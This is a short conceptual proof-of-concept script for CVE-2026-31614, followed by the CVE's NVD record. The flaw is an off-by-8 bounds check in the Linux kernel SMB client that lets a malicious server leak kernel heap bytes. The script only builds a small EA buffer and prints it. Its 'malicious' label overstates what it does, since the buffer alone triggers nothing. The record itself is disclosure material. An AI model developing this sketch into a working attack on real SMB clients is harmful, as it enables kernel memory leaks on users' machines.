CVE-2026-31614

import struct # Conceptual PoC for CVE-2026-31614 # This script demonstrates how to construct a malicious SMB2 EA structure # that triggers the off-by-8 bounds check in the Linux kernel. def create_malicious_ea_buffer(): # The struct smb2_file_full_ea_info is 8 bytes: # uint32_t next_entry_offset # uint8_t flags # uint8_t ea_name_length # uint16_t ea_value_length # We set the lengths such that the data sits near the buffer end. # The kernel calculates end as (u8*)ea + nlen + 1 + vlen. # But reads start at ea->ea_data (offset 8). # If (ea + nlen + 1 + vlen) is within bounds, but (ea + 8 + nlen + 1 + vlen) is not, # we trigger the read overflow. header = struct.pack('<I', 0) # NextEntryOffset: 0 (Last entry) header += struct.pack('<B', 0) # Flags: 0 header += struct.pack('<B', 4) # EaNameLength: 4 (e.g., "Test") header += struct.pack('<H', 0) # EaValueLength: 0 ea_name = b'Test\x00' # Null-terminated name # No value payload needed for the leak demo, just the read attempt return header + ea_name if __name__ == "__main__": buf = create_malicious_ea_buffer() print(f"Malicious EA Buffer Length: {len(buf)} bytes") print(f"Buffer Hex: {buf.hex()}") # In a real exploit, this buffer would be sent via a crafted SMB2 QUERY_INFO response.

{"cve": {"id": "CVE-2026-31614", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.663", "lastModified": "2026-04-29T18:03:40.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix off-by-8 bounds check in check_wsl_eas()\n\nThe bounds check uses (u8 *)ea + nlen + 1 + vlen as the end of the EA\nname and value, but ea_data sits at offset sizeof(struct\nsmb2_file_full_ea_info) = 8 from ea, not at offset 0. The strncmp()\nlater reads ea->ea_data[0..nlen-1] and the value bytes follow at\nea_data[nlen+1..nlen+vlen], so the actual end is ea->ea_data + nlen + 1\n+ vlen. Isn't pointer math fun?\n\nThe earlier check (u8 *)ea > end - sizeof(*ea) only guarantees the\n8-byte header is in bounds, but since the last EA is placed within 8\nbytes of the end of the response, the name and value bytes are read past\nthe end of iov.\n\nFix this mess all up by using ea->ea_data as the base for the bounds\ncheck.\n\nAn \"untrusted\" server can use this to leak up to 8 bytes of kernel heap\ninto the EA name comparison and influence which WSL xattr the data is\ninterpreted as."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.32", "versionEndExcluding": "6.6.136", "matchCriteriaId": "1487B72A-0930-4903-A6AE-173E355D9209"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.12.83", "matchCriteriaId": "ABBF18DE-4F74-47AB-B0B1-8493B33EDC1E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3d8b9d06bd3ac4c6846f5498800b0f5f8062e53b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5cc0574c84aa73946ade587c41e81757b8b01cb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a893f1757d9a4009e4a8d7ceb2312142fe29cea4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b2b76d09a64c538c57006180103fc1841e8cfa66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ba3ad159aa61810bbe0acaf39578b1ebfb6f1a18", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bfbc74df8bbe095b3ed68f6d4487b368af087890", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}